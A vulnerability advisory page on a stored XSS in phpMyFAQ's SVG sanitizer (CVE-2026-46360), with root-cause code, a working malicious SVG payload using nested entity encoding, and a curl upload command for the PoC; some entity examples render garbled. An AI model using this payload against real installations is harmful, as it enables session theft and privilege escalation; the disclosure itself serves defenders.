Skip to main content

Boteraser | Website and Server Security Solutions

🛡️ CVE-2026-46360 — phpmyfaq

🟡 CVSS 5.4 — Medium ✅ No Known Exploit CWE-79 NVD
5.4
CVSS Score
0 Low4 Medium7 High9 Critical10

Description

phpMyFAQ has a SVG Sanitizer Entity Decoding Depth Limit Bypass Leading to Stored XSS

Summary

The SvgSanitizer::decodeAllEntities() method limits recursive entity decoding to 5 iterations. By wrapping each character of javascript in an href attribute value with 5 levels of & encoding around numeric HTML entities (e.g., j for j), an attacker can bypass both isSafe() detection and sanitize() removal. The uploaded SVG is served from the application origin with image/svg+xml content type, and the browser's XML parser fully decodes the remaining &#NNN; entities, resulting in a clickable javascript: link that executes arbitrary JavaScript.

Details

Root cause: decodeAllEntities() at phpmyfaq/src/phpMyFAQ/Helper/SvgSanitizer.php:223-249 limits entity decoding to maxIterations=5. Each iteration: (1) decodes &#NNN; numeric entities, (2) decodes &#xHH; hex entities, (3) calls html_entity_decode() which resolves one level of & → &. With 5 levels of & wrapping, all 5 iterations are consumed unwinding the & nesting, leaving the final &#NNN; numeric entities unresolved.

Code path:

1. Authenticated user with FAQ_EDIT permission uploads SVG via POST /admin/api/content/images (ImageController::upload() at line 39)

2. File extension is svg → SvgSanitizer::isSafe() called (line 114)

3. isSafe() calls decodeAllEntities() — 5 iterations resolve & nesting but leave ja... (numeric entities for javascript)

4. Pattern matching at line 47 (/href\s*=\s*["\'][\s]*javascript\s*:/i) does not match ja...

5. isSafe() returns true — file saved without any sanitization

6. SVG served directly by web server from content/user/images/ with image/svg+xml MIME type

7. Browser's XML parser decodes j → j, a → a, etc., reconstructing javascript:alert(document.domain)

8. User clicks the SVG link → JavaScript executes in the phpMyFAQ origin

The bypass is even simpler than initially described — no <script> decoy tag is needed. Since isSafe() itself is bypassed, the file is stored without sanitization and the sanitize() code path is never reached.

Relevant code in decodeAllEntities():

```php

// phpmyfaq/src/phpMyFAQ/Helper/SvgSanitizer.php:223-249

private function decodeAllEntities(string $content): string

{

$previous = '';

$decoded = $content;

$maxIterations = 5; // <-- insufficient for 5 levels of & + numeric entity

while ($decoded !== $previous && $maxIterations-- > 0) {

$previous = $decoded;

// Step 1: Decode decimal entities (j → j)

$decoded = preg_replace_callback('/&#(\d+);/', ...);

// Step 2: Decode hex entities (j → j)

$decoded = preg_replace_callback('/&#x([0-9a-fA-F]+);/', ...);

// Step 3: Decode named HTML entities (& → &)

$decoded = html_entity_decode($decoded, ENT_QUOTES | ENT_HTML5, 'UTF-8');

}

// After 5 iterations with 5 & levels: j remains undecoded

return preg_replace('/[\x00-\x08\x0b\x0c\x0e-\x1f\x7f]/', '', $decoded);

}

```

PoC

Upload an SVG file containing a javascript: href where each character of javascript is entity-encoded with 5 levels of & nesting around numeric entities. No <script> decoy is required — isSafe() itself is bypassed.

Step 1: Create malicious SVG file (xss.svg):

```xml

<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 200 200">

<a href="&amp;amp;amp;amp;#106;&amp;amp;amp;amp;#97;&amp;amp;amp;amp;#118;&amp;amp;amp;amp;#97;&amp;amp;amp;amp;#115;&amp;amp;amp;amp;#99;&amp;amp;amp;amp;#114;&amp;amp;amp;amp;#105;&amp;amp;amp;amp;#112;&amp;amp;amp;amp;#116;:alert(document.domain)">

<circle cx="100" cy="100" r="80" fill="red"/>

<text x="100" y="110" text-anchor="middle" fill="white" font-size="20">Click me</text>

</a>

</svg>

```

Step 2: Upload via admin image upload endpoint:

```bash

curl -b 'session_cookie' \

-F "files[][email protected]" \

"https://TARGET/admin/api/content/images?csrf=VALID_TOKEN"

```

Expected response: {"success": true, ...} with the uploaded file URL.

Step 3: Access the uploaded SVG directly:

```

https://TARGET/content/user/images/1712345678_xss.svg

```

The browser renders the SVG as image/svg+xml. The XML parser decodes j → j, a → a, etc., producing href="javascript:alert(document.domain)". Clicking the red circle executes JavaScript in the phpMyFAQ origin.

Impact

  • Stored XSS: Any user (including other administrators) who views and clicks the malicious SVG link has JavaScript executed in their browser within the phpMyFAQ origin.
  • Session hijacking: Attacker can steal session cookies and CSRF tokens of other admins.
  • Privilege escalation: An editor-level user can execute JavaScript as a super-admin who views the image, potentially gaining full administrative

How this vulnerability can be exploited

This issue can be reached over the network, attack complexity is low, an attacker needs low-level privileges on the target. A user must be tricked into taking some action. The scope is changed, meaning a successful attack can affect components beyond the vulnerable one. Rated impact: confidentiality low, integrity low, availability none.

CVSS metrics in full

The score comes from this vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N

  • Attack vector: Network — reachable from anywhere that can route to the service.
  • Attack complexity: Low — the attack works reliably, with no preparation.
  • Privileges required: Low — an ordinary user account is enough.
  • User interaction: Required — someone has to click, open or visit something.
  • Scope: Changed — a successful attack reaches components beyond the vulnerable one.
  • Confidentiality impact: Low — limited, and the attacker does not choose what is affected.
  • Integrity impact: Low — limited, and the attacker does not choose what is affected.
  • Availability impact: None.

Weakness class

CVE-2026-46360 is classified as CWE-79: Cross-site Scripting (XSS). User-supplied data is written into a page without escaping, so attacker script runs in the browser of anyone who views it.

Affected software

CVE-2026-46360 is recorded against 3 packages.

  • phpmyfaq/phpmyfaq (fixed in 4.1.2)
  • thorsten/phpmyfaq (fixed in 4.1.2)
  • unknown

Timeline and source

Published on 15 May 2026 and last revised on 9 June 2026. No public exploit is currently recorded for this entry. Record sourced from NVD.

References

github.com (Web)
nvd.nist.gov (Advisory)
github.com (Package)
www.vulncheck.com (Web)

Other advisories for this package

phpmyfaq/phpmyfaq has other advisories on record. If you are patching this one, these are worth checking on the same host:

Same weakness in other software

These advisories are the same class of weakness (CWE-79: Cross-site Scripting (XSS)) in other software:

Details

Severity Medium
CVSS Score 5.4
CVSS Vector CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N
CWE CWE-79
Public Exploit ✅ No
Source NVD
Published 2026-05-15
Updated 2026-08-20
Modified 2026-06-09
Fix URL N/A

Affected Packages

Software From version Fixed in
phpmyfaq/phpmyfaq — 4.1.2
thorsten/phpmyfaq — 4.1.2
unknown — —

Similar Threats

Vulnerability Monitoring

Track new vulnerabilities in phpmyfaq

CVE-2026-46360 is rated CVSS 5.4 Medium. BotEraser monitors your WordPress installation and notifies you when software you use appears in our vulnerability database.

Set Up Free Alerts →

No credit card required  ·  Results in minutes

ⓘ Data Notice: The information presented above has been compiled from publicly available internet sources. Boteraser aggregates this data solely for informational purposes and does not independently classify, evaluate, or endorse any findings about the vulnerabilities listed. The accuracy and completeness of this information is the sole responsibility of the original publishers. Boteraser and its operators accept no liability for any decisions made based on this data.

Browse related advisories

All advisoriesCVECVE 2026
✓